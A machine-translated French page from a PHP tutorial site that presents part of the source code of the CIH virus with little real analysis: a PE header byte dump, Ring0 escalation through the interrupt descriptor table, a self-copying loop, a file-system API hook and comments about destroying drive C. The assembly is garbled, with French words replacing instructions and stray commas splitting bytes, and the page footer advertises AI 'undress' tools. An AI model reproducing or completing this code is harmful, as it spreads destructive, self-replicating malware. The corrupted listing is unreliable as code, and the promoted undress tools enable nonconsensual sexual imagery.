Maison développement back-end tutoriel php Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

Jan 17, 2017 am 11:15 AM

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[2]

SEGMENT OriginalAppEXE 
  
  ;PE格式可执行文件文件头
  En-tête de fichier : 
  db 04dh, 05ah, 090h, h, 003h, 000h, 000h, 000h 
  db 004h, 000h , 000h, 000h, 0ffh, 0ffh, 000h, 000h 
  db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, , 000h, 000h, 000h, 000h, 000h, 000h
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
  db 00eh, 01fh, 0bah, 00eh 00, 0h, 0b4h, 009h, 0cdh 
  db 021h , 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
  db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
  db , 06dh, 020h, 063h, 061h, 06eh, 06eh , 06fh 
  db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
  db 020h, 069h, 06eh, 020h, 044h, 053h, , 020h 
  db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
  db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 050h, 045h, 00, 0h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
  db 00bh, 001h, 005h, 000h, 000h, 010h , 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 010h, 010h, 000h, 000h, 000h, 0h, 000h, 000h 
  db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
  db 000h, , 000h, 000h, 000h, 000h, 000h, 000h 
  db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 
  db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h 
  db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
  db 000h, 000h, 010h, 00, 0h, 010h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db , 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, , 000h 
  db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000, 0h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  d, b 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, , 000h, 000h 
  db 000h, 000h, 000h , 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 00, 0h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 02eh, 074h, 065h, 078h, 074h, 000h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
  db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
  db 000h, 000h, 000h, 000h, , 000h, 000h, 000h 
  db 000h, 000h , 000h, 000h, 020h, 000h, 000h, 060h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 00, 0h, 000h, 000h, 000h, 000h, 000h, 000h
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, , 000h, 000h, 000h, 000h 
  db 000h , 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 00 0h, 000h, 000h, 000h, 000h, 000h, 000h , 000h 
  db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  db 000h, 000h, 000h, 000h, 000h, 00, 0h, 000h 
  db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
  dd 00000000h, VirusSize 
  
  OriginalAppEXE ENDS 
  
   ; 病毒程序开始
  TRUE = 1 
  FALSE = 0 
  DEBUG = FALSE 
  
  ;标识其版本号1 .4版
  MajorVirusVersion = 1 ;主版本号 
  MinorVirusVersion = 4 ;次版本号 
  VirusVersion = MajorVirusVersion*10h MinorVirusVersion ;合成版本号 
  
  IF DEBUG ;是否调试 
  IF DEBUG ; illHardDiskNumber = 81h ;破坏D盘
HookExceptionNumber = 05h ; Utiliser l'interruption numéro 5
ELSE
FirstKillHardDiskNumber = 80h ; Détruire le lecteur C
HookxceptionNumber = 03h ; Utiliser l'interruption numéro 3
ENDIF

FileNameBufferSize = 7fh
 
 ; Le segment de code de virus commence
SEGMENT VirusGame

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
> MyVirusStart :
push ebp

; Modifier la gestion des exceptions système pour éviter de générer des messages d'erreur
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs : [ebx]
 
 call @0
 
 @0 :
 pop ebx; Obtenez le décalage de départ du programme et utilisez ce décalage relatif pour obtenir l'adresse absolue
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

 ; Modifier le tableau de description d'interruption pour obtenir l'autorisation de niveau Ring0 la plus élevée
push eax
sidt [esp- 02h] ; Obtenir l'adresse de base de la table de description de l'interruption vers ebx
pop ebx ;

add ebx, HookExceptionNumber*08h 04h ; Calculer l'adresse de base de l'interruption à utiliser pour ebx

cli ;Désactiver les interruptions avant de modifier
 
mov ebp, [ebx] ;Obtenir l'adresse de base de la gestion des exceptions
mov bp, [ebx-04h] ;Obtenir l'entrée

lea esi, MyExceptionHook-@1[ecx]
 
push esi; esi est l'adresse de la routine d'interruption du virus

mov [ebx-04h], si
shr esi, 16 ; exception
mov [ebx 02h], si; Modifier l'adresse de base de l'interruption pour pointer vers la routine d'interruption virale

pop esi

Générer une exception qui entre au niveau ring0
int; HookExceptionNumber; En guise d'interruption Entrez le niveau Ring0
ReturnAddressOfEndException = $

; Fusionner tous les codes de virus
push esi
mov esi, eax ;esi pointe vers le début du virus

; Boucle de réplication
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]

rep movsb ; Copiez le code du virus à la première adresse de la mémoire système allouée
sub eax, 08h
mov esi, [eax]
ou esi, esi
jz QuitLoopOfMergeAllVirusCodeSection; ZF = 1

jmp LoopOfMergeAllVirusCodeSection;Copiez la section suivante

QuitLoopOfMergeAllVirusCodeSection : esi
int HookExceptionNumber
🎜>; Enregistrer la gestion des exceptions
ReadyRestoreSE :
sti ; Démarrer l'interruption
Arrêtera de s'exécuter et passera directement au programme d'origine
StopToRunVirusCode :
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [ eax]
 
RestoreSE :
pop dword ptr fs :[ebx]
pop eax

; Passer au programme d'origine et exécuter normalement
pop ebp

Push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; le programme d'origine sur la pile
ret ; Retour au début du programme d'origine sous forme de sous-programme return
; Module d'initialisation du virus
MyExceptionHook :
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ; Si le code du virus a été copié
; Accédez au programme pour installer le hook système

mov ecx, dr0 ; Vérifiez si dr0 a été défini (dr0 est l'indicateur de résidence du virus)
jecxz AllocateSystemMemoryPage ; S'il n'est pas défini, allouer la mémoire système

ajouter dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; Retour Aller au programme d'origine
ExitRing0Init :
mov [ebx- 04h], bp ;
shr ebp, 16 ; Restaurer l'exception
mov [ebx 02h], bp ; Restaurer l'adresse de base de l'interruption d'origine

Retour d'interruption

; la mémoire système à utiliser
AllocateSystemMemoryPage:
mov dr0, ebx ; Définir l'indicateur résident du virus dr0
push 00000000fh
push ecx
push 0ffffffffh
push ecx ; méthode ULONG EXTERN _PageAllocate(ULONG nPages,
,ULONG flags);
push ecx;
push ecx;dd 00010053h ; Utiliser les registres eax, ecx, edx et flags
Ajouter esp, 08h*04h ; Restaurer le pointeur de pile

xchg edi, eax ; pointe vers la première adresse de la mémoire système allouée
lea eax , MyVirusStart-@2[esi] ;eax pointe vers le début du virus
 
iretd ;Interruption de sortie

; Initialiser le hook du système de fichiers
InstallMyFileSystemApiHook :
lea eax , FileSystemApiHook-@6 [edi] ; Pointez sur la première adresse du programme de hook du système de fichiers
 
 push eax;
 int 20h; Vxd appelle IFSMgr_InstallFileSystemApiHook
 IFSMgr_InstallFileSystemApiHook = $
 dd 00400 067h ; Utilisez eax, ecx, edx et flags register
 
mov dr0, eax; Enregistrez la première adresse du programme de hook du système de fichiers d'origine dans dr0
pop eax est égal à la première adresse du programme de hook du système de fichiers

; Enregistrez l'entrée d'appel de fonction IFSMgr_InstallFileSystemApiHook d'origine
 mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx est l'entrée de IFSMgr_InstallFileSystemApiHook
mov OldInstallFileSystemApiHook-@3[ eax], edx
 
; Modifier l'entrée IFSMGR_INSTALLFILESYSTEMAPIHOOK
Lea Eax, InstallfileSystemapihook-@3 [Eax]
MOV [ECX], Eax
 ;

Ce qui précède est le contenu de l'exemple d'analyse du code source du programme antivirus-virus CIH [2]. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn). )!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Travailler avec les données de session Flash dans Laravel Travailler avec les données de session Flash dans Laravel Mar 12, 2025 pm 05:08 PM

Laravel simplifie la gestion des données de session temporaires à l'aide de ses méthodes de flash intuitives. Ceci est parfait pour afficher de brefs messages, alertes ou notifications dans votre application. Les données ne persistent que pour la demande ultérieure par défaut: $ demande-

Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Mar 14, 2025 am 11:42 AM

L'extension PHP Client URL (CURL) est un outil puissant pour les développeurs, permettant une interaction transparente avec des serveurs distants et des API REST. En tirant parti de Libcurl, une bibliothèque de transfert de fichiers multi-protocol très respectée, PHP Curl facilite Efficient Execu

Misque de réponse HTTP simplifié dans les tests Laravel Misque de réponse HTTP simplifié dans les tests Laravel Mar 12, 2025 pm 05:09 PM

Laravel fournit une syntaxe de simulation de réponse HTTP concise, simplifiant les tests d'interaction HTTP. Cette approche réduit considérablement la redondance du code tout en rendant votre simulation de test plus intuitive. L'implémentation de base fournit une variété de raccourcis de type de réponse: Utiliser illuminate \ support \ faades \ http; Http :: faux ([[ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

12 meilleurs scripts de chat PHP sur Codecanyon 12 meilleurs scripts de chat PHP sur Codecanyon Mar 13, 2025 pm 12:08 PM

Voulez-vous fournir des solutions instantanées en temps réel aux problèmes les plus pressants de vos clients? Le chat en direct vous permet d'avoir des conversations en temps réel avec les clients et de résoudre leurs problèmes instantanément. Il vous permet de fournir un service plus rapide à votre personnalité

Expliquez le concept de liaison statique tardive en PHP. Expliquez le concept de liaison statique tardive en PHP. Mar 21, 2025 pm 01:33 PM

L'article traite de la liaison statique tardive (LSB) dans PHP, introduite dans PHP 5.3, permettant une résolution d'exécution de la méthode statique nécessite un héritage plus flexible. Problème main: LSB vs polymorphisme traditionnel; Applications pratiques de LSB et perfo potentiel

Frameworks de personnalisation / d'extension: comment ajouter des fonctionnalités personnalisées. Frameworks de personnalisation / d'extension: comment ajouter des fonctionnalités personnalisées. Mar 28, 2025 pm 05:12 PM

L'article examine l'ajout de fonctionnalités personnalisées aux cadres, en se concentrant sur la compréhension de l'architecture, l'identification des points d'extension et les meilleures pratiques pour l'intégration et le débogage.

Caractéristiques de sécurité du cadre: protection contre les vulnérabilités. Caractéristiques de sécurité du cadre: protection contre les vulnérabilités. Mar 28, 2025 pm 05:11 PM

L'article traite des fonctionnalités de sécurité essentielles dans les cadres pour se protéger contre les vulnérabilités, notamment la validation des entrées, l'authentification et les mises à jour régulières.

See all articles